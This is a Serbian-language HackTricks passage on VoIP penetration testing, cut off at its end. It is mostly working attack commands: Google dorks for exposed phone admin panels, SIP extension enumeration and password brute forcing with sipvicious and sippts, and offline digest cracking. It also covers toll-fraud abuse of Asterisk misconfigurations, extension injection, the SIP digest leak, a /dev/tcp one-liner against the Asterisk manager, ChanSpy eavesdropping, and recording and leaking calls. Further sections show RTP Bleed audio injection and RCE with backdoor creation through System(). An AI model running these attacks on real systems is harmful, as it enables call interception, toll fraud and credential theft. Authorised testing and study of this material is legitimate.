# Testiranje penetracije VoIP-a
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! Drugi načini podrške HackTricks-u: * Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
## Osnovne informacije o VoIP-u Za početak učenja o tome kako VoIP funkcioniše, proverite: {% content-ref url="basic-voip-protocols/" %} [basic-voip-protocols](basic-voip-protocols/) {% endcontent-ref %} ## Osnovne poruke ``` Request name Description RFC references ------------------------------------------------------------------------------------------------------ REGISTER Register a SIP user. RFC 3261 INVITE Initiate a dialog for establishing a call. RFC 3261 ACK Confirm that an entity has received. RFC 3261 BYE Signal termination of a dialog and end a call. RFC 3261 CANCEL Cancel any pending request. RFC 3261 UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311 REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515 PRACK Provisional acknowledgement. RFC 3262 SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665 NOTIFY Inform a subscriber of notifications of a new event. RFC 6665 PUBLISH Publish an event to a notification server. RFC 3903 MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428 INFO Send mid-session information that does not modify the session state. RFC 6086 OPTIONS Query the capabilities of an endpoint RFC 3261 ``` ## Kodovi odgovora **1xx—Privremeni odgovori** ``` 100 Trying 180 Ringing 181 Call is Being Forwarded 182 Queued 183 Session Progress 199 Early Dialog Terminated ``` **2xx—Uspešni odgovori** ``` 200 OK 202 Accepted 204 No Notification ``` **3xx—Odgovori na preusmeravanje** ``` 300 Multiple Choices 301 Moved Permanently 302 Moved Temporarily 305 Use Proxy 380 Alternative Service ``` **4xx—Odgovori na greške klijenta** ``` 400 Bad Request 401 Unauthorized 402 Payment Required 403 Forbidden 404 Not Found 405 Method Not Allowed 406 Not Acceptable 407 Proxy Authentication Required 408 Request Timeout 409 Conflict 410 Gone 411 Length Required 412 Conditional Request Failed 413 Request Entity Too Large 414 Request-URI Too Long 415 Unsupported Media Type 416 Unsupported URI Scheme 417 Unknown Resource-Priority 420 Bad Extension 421 Extension Required 422 Session Interval Too Small 423 Interval Too Brief 424 Bad Location Information 425 Bad Alert Message 428 Use Identity Header 429 Provide Referrer Identity 430 Flow Failed 433 Anonymity Disallowed 436 Bad Identity-Info 437 Unsupported Certificate 438 Invalid Identity Header 439 First Hop Lacks Outbound Support 440 Max-Breadth Exceeded 469 Bad Info Package 470 Consent Needed 480 Temporarily Unavailable 481 Call/Transaction Does Not Exist 482 Loop Detected 483 Too Many Hops 484 Address Incomplete 485 Ambiguous 486 Busy Here 487 Request Terminated 488 Not Acceptable Here 489 Bad Event 491 Request Pending 493 Undecipherable 494 Security Agreement Required ``` **5xx—Odgovori o grešci servera** ``` 500 Internal Server Error 501 Not Implemented 502 Bad Gateway 503 Service Unavailable 504 Server Time-out 505 Version Not Supported 513 Message Too Large 555 Push Notification Service Not Supported 580 Precondition Failure ``` **6xx—Globalne greške** ``` 600 Busy Everywhere 603 Decline 604 Does Not Exist Anywhere 606 Not Acceptable 607 Unwanted 608 Rejected ``` ## Enumeracija VoIP-a ### Telefonski brojevi Jedan od prvih koraka koje Crveni tim može preduzeti je pretraga dostupnih telefonskih brojeva za kontaktiranje kompanije koristeći OSINT alate, Google pretrage ili skeniranje web stranica. Kada dobijete telefonske brojeve, možete koristiti online usluge za identifikaciju operatera: * [https://www.numberingplans.com/?page=analysis\&sub=phonenr](https://www.numberingplans.com/?page=analysis\&sub=phonenr) * [https://mobilenumbertracker.com/](https://mobilenumbertracker.com/) * [https://www.whitepages.com/](https://www.whitepages.com/) * [https://www.twilio.com/lookup](https://www.twilio.com/lookup) Znajući da li operater pruža VoIP usluge, možete identifikovati da li kompanija koristi VoIP... Štaviše, moguće je da kompanija nije angažovala VoIP usluge već koristi PSTN kartice za povezivanje svoje VoIP PBX sa tradicionalnom telefonskom mrežom. Stvari poput automatskih odgovora ili muzike obično ukazuju na korišćenje VoIP-a. ### Google Dorks ```bash # Grandstream phones intitle:"Grandstream Device Configuration" Password intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org # Cisco Callmanager inurl:"ccmuser/logon.asp" intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button" # Cisco phones inurl:"NetworkConfiguration" cisco # Linksys phones intitle:"Sipura SPA Configuration" # Snom phones intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm # Polycom SoundPoint IP & phones intitle:"SoundPoint IP Configuration Utility - Registration" "Welcome to Polycom Web Configuration Utility" "Login as" "Password" intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm" intitle:"Polycom Login" inurl:"/login.html" intitle:"Polycom Login" -.com # Elastix intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL" # FreePBX inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration" ``` ### OSINT informacije Sve ostale OSINT informacije koje pomažu u identifikaciji korišćenog VoIP softvera biće korisne za Crveni Tim. ### Enumeracija mreže * **`nmap`** je sposoban da skenira UDP servise, ali zbog velikog broja skeniranih UDP servisa, veoma je spor i možda nije vrlo precizan sa ovom vrstom servisa. ```bash sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 ``` * **`svmap`** iz SIPVicious-a (`sudo apt install sipvicious`): Lociraće SIP usluge u navedenoj mreži. * `svmap` je **lako blokirati** jer koristi User-Agent `friendly-scanner`, ali možete izmeniti kod iz `/usr/share/sipvicious/sipvicious` i promeniti ga. ```bash # Use --fp to fingerprint the services svmap 10.10.0.0/24 -p 5060-5070 [--fp] ``` * **`SIPPTS skeniranje`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS skeniranje je veoma brz skener za SIP servise preko UDP, TCP ili TLS. Koristi višenitno izvršavanje i može skenirati velike opsege mreža. Omogućava lako navođenje opsega porta, skeniranje kako TCP tako i UDP, korišćenje drugog metoda (podrazumevano će koristiti OPTIONS) i specificiranje drugačijeg User-Agent-a (i još više). ```bash sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] [!] IP/Network: 10.10.0.0/24 [!] Port range: 5060-5080 [!] Protocol: UDP, TCP, TLS [!] Method to scan: REGISTER [!] Customized User-Agent: Cisco [!] Used threads: 200 ``` * **metasploit**: ``` auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP) auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP) ``` #### Dodatno nabrajanje mrežnih servisa PBX takođe može otkrivati druge mrežne servise poput: - **69/UDP (TFTP)**: Ažuriranje firmware-a - **80 (HTTP) / 443 (HTTPS)**: Upravljanje uređajem preko web-a - **389 (LDAP)**: Alternativa za čuvanje informacija o korisnicima - **3306 (MySQL)**: MySQL baza podataka - **5038 (Manager)**: Omogućava korišćenje Asteriska sa drugih platformi - **5222 (XMPP)**: Poruke putem Jabber-a - **5432 (PostgreSQL)**: PostgreSQL baza podataka - I drugi... ### Nabrajanje metoda Moguće je pronaći **koje su metode dostupne** za korišćenje na PBX-u koristeći `SIPPTS enumerate` iz [**sippts**](https://github.com/Pepelux/sippts) ```bash sippts enumerate -i 10.10.0.10 ``` ### Analiziranje odgovora servera Veoma je važno analizirati zaglavlja koja server šalje nazad ka nama, zavisno od tipa poruke i zaglavlja koje šaljemo. Pomoću `SIPPTS send` alata sa [**sippts**](https://github.com/Pepelux/sippts) možemo slati personalizovane poruke, manipulišući svim zaglavljima, i analizirati odgovor. ```bash sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp ``` Takođe je moguće dobiti podatke ako server koristi websockets. Pomoću `SIPPTS wssend` alata sa [**sippts**](https://github.com/Pepelux/sippts) možemo slati personalizovane WS poruke. ```bash sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### Enumeracija proširenja Proširenja u PBX (Privatna telefonska centrala) sistemu se odnose na **jedinstvene interne identifikatore dodeljene pojedinačnim** telefonskim linijama, uređajima ili korisnicima unutar organizacije ili preduzeća. Proširenja omogućavaju **efikasno usmeravanje poziva unutar organizacije**, bez potrebe za pojedinačnim spoljnim brojevima telefona za svakog korisnika ili uređaj. * **`svwar`** iz SIPVicious (`sudo apt install sipvicious`): `svwar` je besplatan skener linija proširenja SIP PBX-a. Konceptualno radi slično tradicionalnim wardijalerima tako što **pogađa opseg proširenja ili datu listu proširenja**. ```bash svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER ``` * **`SIPPTS exten`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS exten identifikuje ekstenzije na SIP serveru. Sipexten može proveriti velike mreže i opsege portova. ```bash sippts exten -i 10.10.0.10 -r 5060 -e 100-200 ``` * **metasploit**: Takođe možete nabrojati ekstenzije/korisnička imena pomoću metasploita: ``` auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP) auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP) ``` * **`enumiax` (`apt install enumiax`): enumIAX** je alat za grube sile korisničkih imena za protokol Inter Asterisk Exchange. enumIAX može raditi u dva različita moda; Sekvencijalno pogađanje korisničkih imena ili Rečnik napad. ```bash enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary enumiax -v -m3 -M3 10.10.0.10 ``` ## Napadi na VoIP ### Brute-Force napad na lozinke - online Nakon što su otkriveni **PBX** i neki **produžeci/korisnička imena**, Crveni tim može pokušati da se **autentikuje putem metode `REGISTER`** na produžetak koristeći rečnik uobičajenih lozinki kako bi izvršio brute force autentikaciju. {% hint style="danger" %} Imajte na umu da **korisničko ime** može biti isto kao produžetak, ali ova praksa može varirati u zavisnosti od sistema PBX-a, njegove konfiguracije i preferencija organizacije... Ako korisničko ime nije isto kao produžetak, moraćete **odrediti korisničko ime za brute-force napad**. {% endhint %} * **`svcrack`** iz SIPVicious (`sudo apt install sipvicious`): SVCrack vam omogućava da probijete lozinku za određeno korisničko ime/produžetak na PBX-u. ```bash svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions ``` * **`SIPPTS rcrack`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rcrack je udaljeni alat za probijanje lozinke za SIP usluge. Rcrack može testirati lozinke za više korisnika na različitim IP adresama i opsezima portova. ```bash sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` * **Metasploit**: * [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb) * [https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb](https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack\_tcp.rb) ### Snifing VoIP Ako pronađete VoIP opremu unutar **Otvorenog Wifi mreže**, možete **snifovati sve informacije**. Štaviše, ako se nalazite unutar nešto zatvorenije mreže (povezani preko Ethernet-a ili zaštićenog Wifija) možete izvesti **MitM napade kao što su** [**ARPspoofing**](../../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) između **PBX-a i gateway-a** kako biste snifovali informacije. Među informacijama o mreži, možete pronaći **web kredencijale** za upravljanje opremom, korisničke **ekstenzije**, **korisničko ime**, **IP** adrese, čak i **hashovane lozinke** i **RTP pakete** koje možete reprodukovati kako biste **čuli razgovor**, i još mnogo toga. Da biste dobili ove informacije, možete koristiti alate poput Wireshark, tcpdump... ali **posebno kreiran alat za snifovanje VoIP razgovora je** [**ucsniff**](https://github.com/Seabreg/ucsniff). {% hint style="danger" %} Imajte na umu da ako se **TLS koristi u SIP komunikaciji** nećete moći videti SIP komunikaciju u čistom obliku.\ Isto će se desiti ako se koristi **SRTP** i **ZRTP**, **RTP paketi neće biti u čitljivom tekstu**. {% endhint %} #### SIP kredencijali (Bruteforce lozinke - offline) [Pogledajte ovaj primer da biste bolje razumeli **SIP REGISTER komunikaciju**](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) kako biste saznali kako se **kredencijali šalju**. * **`sipdump`** & **`sipcrack`,** deo **sipcrack** (`apt-get install sipcrack`): Ovi alati mogu **izvući** iz **pcap** datoteke **digest autentifikacije** unutar SIP protokola i **bruteforce**-ovati ih. ```bash sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt ``` * **`SIPPTS dump`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dump može izvući digest autentikacije iz pcap datoteke. ```bash sippts dump -f capture.pcap -o data.txt ``` * **`SIPPTS dcrack`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS dcrack je alatka za dešifrovanje autentikacija digesta dobijenih sa SIPPTS dumpom. ```bash sippts dcrack -f data.txt -w wordlist/rockyou.txt ``` * **`SIPPTS tshark`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS tshark izvlači podatke SIP protokola iz PCAP datoteke. ```bash sippts tshark -f capture.pcap [-filter auth] ``` #### DTMF kodovi **Ne samo SIP kredencijali** mogu se pronaći u mrežnom saobraćaju, takođe je moguće pronaći DTMF kodove koji se koriste, na primer, za pristup **poštanskom sandučetu**.\ Moguće je poslati ove kodove u **INFO SIP porukama**, u **audio** formatu ili unutar **RTP paketa**. Ako su kodovi unutar RTP paketa, možete isecati taj deo razgovora i koristiti alatku multimo za njihovo izdvajanje: ```bash multimon -a DTMF -t wac pin.wav ``` ### Besplatni pozivi / Nesporazumi u konfiguraciji Asterisk konekcija U Asterisku je moguće dozvoliti konekciju **sa određene IP adrese** ili sa **bilo koje IP adrese**: ``` host=10.10.10.10 host=dynamic ``` Ako je navedena IP adresa, **domaćin neće morati slati REGISTER** zahteve povremeno (u REGISTER paketu se šalje vreme života, obično 30 minuta, što znači da u drugom scenariju telefon mora ponovo da se registruje svakih 30 minuta). Međutim, moraće imati otvorene portove koji omogućavaju konekcije sa VoIP serverom radi primanja poziva. Za definisanje korisnika mogu se koristiti sledeće oznake: * **`type=user`**: Korisnik može samo primati pozive kao korisnik. * **`type=friend`**: Moguće je obavljati pozive kao vršnjak i primati ih kao korisnik (koristi se sa ekstenzijama) * **`type=peer`**: Moguće je slati i primati pozive kao vršnjak (SIP-trunkovi) Takođe je moguće uspostaviti poverenje sa nesigurnom promenljivom: * **`insecure=port`**: Dozvoljava vršnjacima konekcije validirane preko IP adrese. * **`insecure=invite`**: Ne zahteva autentifikaciju za INVITE poruke * **`insecure=port,invite`**: Obe opcije {% hint style="warning" %} Kada se koristi **`type=friend`**, **vrednost** promenljive **host** **neće biti korišćena**, pa ako administrator **pogrešno konfiguriše SIP-trunk** koristeći tu vrednost, **svako će moći da se poveže sa njim**. Na primer, ova konfiguracija bi bila ranjiva:\ `host=10.10.10.10`\ `insecure=port,invite`\ `type=friend` {% endhint %} ### Besplatni Pozivi / Netačne Konfiguracije Konteksta u Asterisku U Asterisku, **kontekst** je nazvani kontejner ili sekcija u planu biranja koji **grupiše povezane ekstenzije, akcije i pravila**. Plan biranja je osnovna komponenta sistema Asterisk, jer definiše **kako se obrađuju i usmeravaju dolazni i odlazni pozivi**. Konteksti se koriste za organizovanje plana biranja, upravljanje kontrolom pristupa i pružanje razdvajanja između različitih delova sistema. Svaki kontekst je definisan u konfiguracionom fajlu, obično u fajlu **`extensions.conf`**. Konteksti se označavaju uglastim zagradama, sa imenom konteksta unutar njih. Na primer: ```bash csharpCopy code[my_context] ``` Unutar konteksta, definišete ekstenzije (obrasce biranih brojeva) i povezujete ih sa nizom akcija ili aplikacija. Ove akcije određuju kako će poziv biti obrađen. Na primer: ```scss [my_context] exten => 100,1,Answer() exten => 100,n,Playback(welcome) exten => 100,n,Hangup() ``` Ovaj primer demonstrira jednostavan kontekst nazvan "moj_kontekst" sa ekstenzijom "100". Kada neko birne 100, poziv će biti prihvaćen, reprodukovaće se poruka dobrodošlice, a zatim će poziv biti završen. Ovo je **još jedan kontekst** koji omogućava **pozivanje bilo kog drugog broja**: ```scss [external] exten => _X.,1,Dial(SIP/trunk/${EXTEN}) ``` Ako administrator definiše **podrazumevani kontekst** kao: ``` [default] include => my_context include => external ``` {% hint style="warning" %} Bilo ko će moći da koristi **server da pozove bilo koji drugi broj** (a administrator servera će platiti poziv). {% endhint %} {% hint style="danger" %} Štaviše, podrazumevano **`sip.conf`** datoteka sadrži **`allowguest=true`**, što znači da će **bilo** koji napadač **bez autentikacije** moći da pozove bilo koji drugi broj. {% endhint %} * **`SIPPTS invite`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite proverava da li nam **PBX server dozvoljava da vršimo pozive bez autentikacije**. Ako je SIP server netačno konfigurisan, dozvoliće nam da vršimo pozive ka spoljnim brojevima. Takođe može da nam dozvoli da preusmerimo poziv ka drugom spoljnom broju. Na primer, ako vaš Asterisk server ima lošu konfiguraciju konteksta, možete prihvatiti INVITE zahtev bez autorizacije. U tom slučaju, napadač može vršiti pozive ne znajući korisničko ime/šifru. {% code overflow="wrap" %} ```bash # Trying to make a call to the number 555555555 (without auth) with source number 200. sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v # Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444. sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` {% endcode %} ### Besplatni pozivi / Nekonfigurisani IVRS IVRS označava **Interaktivni sistem za odgovor na glas**, telefonsku tehnologiju koja omogućava korisnicima da komuniciraju sa računarskim sistemom putem glasa ili tastera na dodir. IVRS se koristi za izgradnju **automatizovanih sistema za upravljanje pozivima** koji nude različite funkcionalnosti, kao što su pružanje informacija, usmeravanje poziva i prikupljanje korisničkih unosa. IVRS u VoIP sistemima obično se sastoji od: 1. **Glasovnih poruka**: Prethodno snimljeni audio zapisi koji vode korisnike kroz opcije menija IVR-a i uputstva. 2. **DTMF** (Dual-Tone Multi-Frequency) signalizacija: Unosi tastera na telefonu generisani pritiskom tastera, koji se koriste za navigaciju kroz menije IVR-a i unos podataka. 3. **Usmeravanje poziva**: Usmeravanje poziva ka odgovarajućoj destinaciji, kao što su određeni departmani, agenti ili ekstenzije na osnovu korisničkog unosa. 4. **Prikupljanje korisničkih unosa**: Sakupljanje informacija od pozivaoca, kao što su brojevi računa, ID slučaja ili bilo koji drugi relevantni podaci. 5. **Integracija sa spoljnim sistemima**: Povezivanje IVR sistema sa bazama podataka ili drugim softverskim sistemima radi pristupa ili ažuriranja informacija, obavljanja akcija ili pokretanja događaja. U Asterisk VoIP sistemu, možete kreirati IVR koristeći plan biranja (**`extensions.conf`** fajl) i različite aplikacije poput `Background()`, `Playback()`, `Read()` i drugih. Ove aplikacije vam pomažu da reprodukujete glasovne poruke, prikupite korisničke unose i kontrolišete tok poziva. #### Primer ranjive konfiguracije ```scss exten => 0,100,Read(numbers,the_call,,,,5) exten => 0,101,GotoIf("$[${numbers}"="1"]?200) exten => 0,102,GotoIf("$[${numbers}"="2"]?300) exten => 0,103,GotoIf("$[${numbers}"=""]?100) exten => 0,104,Dial(LOCAL/${numbers}) ``` Prethodni je primer gde se korisnika traži da **pritisne 1 da pozove** odeljenje, **2 da pozove** drugo, ili **kompletan broj ekstenzije** ako je zna.\ Ranjivost je u tome što dužina naznačene **ekstenzije nije proverena, tako da korisnik može uneti potpuni broj tokom 5 sekundi i biće pozvan.** ### Ubacivanje ekstenzije Korišćenjem ekstenzije poput: ```scss exten => _X.,1,Dial(SIP/${EXTEN}) ``` Gde je **`${EXTEN}`** **produžetak** koji će biti pozvan, kada se unese **ext 101** ovo bi se desilo: ```scss exten => 101,1,Dial(SIP/101) ``` Međutim, ako **`${EXTEN}`** dozvoljava unošenje **više od brojeva** (kao u starijim verzijama Asteriska), napadač bi mogao uneti **`101&SIP123123123`** da bi pozvao broj telefona 123123123. A ovo bi bio rezultat: ```scss exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123) ``` Dakle, poziv na ekstenziju **`101`** i **`123123123`** će biti poslat i samo će prvi dobiti poziv biti uspostavljen... ali ako napadač koristi **ekstenziju koja zaobilazi bilo koji podudarajući** koji se vrši ali ne postoji, on bi mogao **ubaciti poziv samo na željeni broj**. ## Ranjivost SIPDigestLeak SIP Digest Leak je ranjivost koja utiče na veliki broj SIP telefona, uključujući i hardverske i softverske IP telefone, kao i telefonske adaptere (VoIP za analogni). Ranjivost omogućava **procurivanje odgovora na Digest autentikaciju**, koji se izračunava iz lozinke. Tada je moguć **napad na lozinku van mreže** i može se povratiti većina lozinki na osnovu odgovora na izazov. **[Scenario ranjivosti odavde**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): 1. IP telefon (žrtva) sluša na bilo kojem portu (na primer: 5060), prihvata pozive 2. Napadač šalje INVITE IP telefonu 3. Telefon žrtve počinje zvoniti i neko se javlja i prekida vezu (jer niko ne odgovara na telefon s druge strane) 4. Kada se telefon prekine, **telefon žrtve šalje BYE napadaču** 5. **Napadač izdaje odgovor 407** koji **traži autentikaciju** i izdaje izazov za autentikaciju 6. **Telefon žrtve pruža odgovor na izazov za autentikaciju** u drugom BYE 7. **Napadač tada može izvršiti napad brute-force** na odgovor izazova na svojoj lokalnoj mašini (ili distribuiranoj mreži itd.) i pogoditi lozinku * **SIPPTS leak** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS leak iskorišćava ranjivost SIP Digest Leak koja utiče na veliki broj SIP telefona. Izlaz se može sačuvati u formatu SipCrack kako bi se izvršio napad brute-force korišćenjem SIPPTS dcrack ili alata SipCrack. ```bash sippts leak -i 10.10.0.10 [!] Target: 10.10.0.10:5060/UDP [!] Caller: 100 [!] Callee: 100 [=>] Request INVITE [<=] Response 100 Trying [<=] Response 180 Ringing [<=] Response 200 OK [=>] Request ACK ... waiting for BYE ... [<=] Received BYE [=>] Request 407 Proxy Authentication Required [<=] Received BYE with digest [=>] Request 200 Ok Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5 ``` ### Click2Call Click2Call omogućava **web korisniku** (koji je na primer zainteresovan za proizvod) da **unese** svoj **broj telefona** kako bi bio pozvan. Zatim će biti pozvan komercijal, i kada **korisnik podigne telefon** biće **pozvan i povezan sa agentom**. Uobičajeni Asterisk profil za ovo je: ```scss [web_user] secret = complex_password deny = 0.0.0.0/0.0.0.0 allow = 0.0.0.0/0.0.0.0 displayconnects = yes read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` * Prethodni profil omogućava **BILO KOJOJ IP adresi da se poveže** (ako je lozinka poznata). * Za **organizovanje poziva**, kao što je prethodno navedeno, **nije potrebna dozvola za čitanje** i potrebno je samo **originirati** u **pisanje**. Sa ovim dozvolama, bilo koja IP adresa koja zna lozinku mogla bi se povezati i izvući previše informacija, kao što su: ```bash # Get all the peers exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3 ``` {% endcode %} **Može se zatražiti više informacija ili akcija.** ### **Prisluškivanje** U Asterisku je moguće koristiti komandu **`ChanSpy`** koja označava **proširenje(e) za praćenje** (ili sve njih) kako bi se čule razgovori koji se odvijaju. Ova komanda mora biti dodeljena proširenju. Na primer, **`exten => 333,1,ChanSpy('all',qb)`** označava da ako **pozovete** **proširenje 333**, ono će **pratiti** **`sve`** proširenja, **početi slušati** svaki put kada počne novi razgovor (**`b`**) u tišini (**`q`**) jer ne želimo da interagujemo s njim. Možete preći s jednog razgovora na drugi pritiskom na **`*`**, ili označavanjem broja proširenja. Takođe je moguće koristiti **`ExtenSpy`** za praćenje samo jednog proširenja. Umesto slušanja razgovora, moguće je **snimiti ih u datoteke** koristeći proširenje poput: ```scss [recorded-context] exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) exten => _X.,2,MixMonitor(${NAME}) ``` {% endcode %} Pozivi će biti sačuvani u **`/tmp`**. Takođe možete čak naterati Asterisk da **izvrši skriptu koja će procuriti poziv** kada se zatvori. ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` ### RTCPBleed ranjivost **RTCPBleed** je značajan sigurnosni problem koji pogađa VoIP servere zasnovane na Asterisk-u (objavljen 2017. godine). Ranjivost omogućava da se **RTP (Real Time Protocol) saobraćaj**, koji prenosi VoIP razgovore, **interceptira i preusmeri od strane bilo koga na Internetu**. Do ovoga dolazi jer RTP saobraćaj zaobilazi autentifikaciju prilikom prolaska kroz NAT (Network Address Translation) firewall-ove. RTP proxy serveri pokušavaju da reše **NAT ograničenja** koja pogađaju RTC sisteme posredstvom posredovanja RTP tokova između dve ili više strana. Kada je NAT prisutan, softver RTP proxy servera često ne može da se osloni na informacije o RTP IP adresi i portu dobijene putem signalizacije (npr. SIP). Stoga, nekoliko RTP proxy servera je implementiralo mehanizam gde se takav **IP i port tuplet automatski uči**. Ovo se često postiže inspekcijom dolaznog RTP saobraćaja i označavanjem izvorne IP adrese i porta za bilo koji dolazni RTP saobraćaj kao onaj na koji treba odgovoriti. Ovaj mehanizam, koji se može nazvati "režim učenja", **ne koristi nikakvu vrstu autentifikacije**. Stoga **napadači** mogu **slati RTP saobraćaj ka RTP proxy serveru** i primati posredovan RTP saobraćaj namenjen pozivaocu ili pozvanoj strani tokom postojećeg RTP toka. Ovu ranjivost nazivamo RTP Bleed jer omogućava napadačima da primaju RTP medijske tokove namenjene legitimnim korisnicima. Još jedno interesantno ponašanje RTP proxy servera i RTP stack-ova je da ponekad, **čak i ako nisu ranjivi na RTP Bleed**, oni će **prihvatiti, proslediti i/ili obraditi RTP pakete sa bilo kog izvora**. Stoga napadači mogu slati RTP pakete koji im mogu omogućiti da ubace svoj medijski sadržaj umesto legitimnog. Ovaj napad nazivamo RTP ubacivanje jer omogućava ubacivanje nelegitimnih RTP paketa u postojeće RTP tokove. Ova ranjivost može biti prisutna i kod RTP proxy servera i kod krajnjih tačaka. Asterisk i FreePBX su tradicionalno koristili postavku **`NAT=yes`**, koja omogućava da RTP saobraćaj zaobiđe autentifikaciju, što potencijalno može dovesti do nedostatka zvuka ili jednosmernog zvuka tokom poziva. Za više informacija posetite [https://www.rtpbleed.com/](https://www.rtpbleed.com/) * **`SIPPTS rtpbleed`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleed otkriva ranjivost RTP Bleed slanjem RTP tokova. ```bash sippts rtpbleed -i 10.10.0.10 ``` * **`SIPPTS rtcpbleed`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtcpbleed otkriva ranjivost RTP Bleed slanjem RTCP tokova. ```bash sippts rtcpbleed -i 10.10.0.10 ``` * **`SIPPTS rtpbleedflood`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood iskorišćava ranjivost RTP Bleed slanjem RTP tokova. ```bash sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v ``` * **`SIPPTS rtpbleedinject`** sa [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedinject iskorišćava ranjivost RTP Bleed ubacivanjem audio fajla (WAV format). ```bash sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### RCE U Asterisku na neki način uspete da **dodate pravila proširenja i ponovo ih učitate** (na primer, kompromitovanjem ranjivog web menadžerskog servera), moguće je dobiti RCE korišćenjem komande **`System`**. ```scss same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) ``` Postoji komanda nazvana **`Shell`** koja se može koristiti umesto `System` za izvršavanje sistemskih komandi ako je potrebno. {% hint style="warning" %} Ako server **onemogućava korišćenje određenih karaktera** u komandi **`System`** (kao u Elastixu), proverite da li veb server dozvoljava **kreiranje fajlova na neki način unutar sistema** (kao u Elastixu ili trixboxu), i koristite to da **kreirate skriptu za vrata pozadi** i zatim koristite **`System`** da je **izvršite**. {% endhint %} #### Zanimljivi lokalni fajlovi i dozvole * **`sip.conf`** -> Sadrži šifru SIP korisnika. * Ako **Asterisk server radi kao root**, mogli biste ugroziti root * **mysql root korisnik** možda **nema nikakvu šifru**. * ovo se može iskoristiti za kreiranje novog mysql korisnika kao vrata pozadi * **`FreePBX`** * **`amportal.conf`** -> Sadrži šifru administratora veb panela (FreePBX) * **`FreePBX.conf`** -> Sadrži šifru korisnika FreePBXuser koji se koristi za pristup bazi podataka * ovo se može iskoristiti za kreiranje novog mysql korisnika kao vrata pozadi * **`Elastix`** * **`Elastix.conf`** -> Sadrži nekoliko šifri u čistom tekstu poput mysql root šifre, IMAPd šifre, 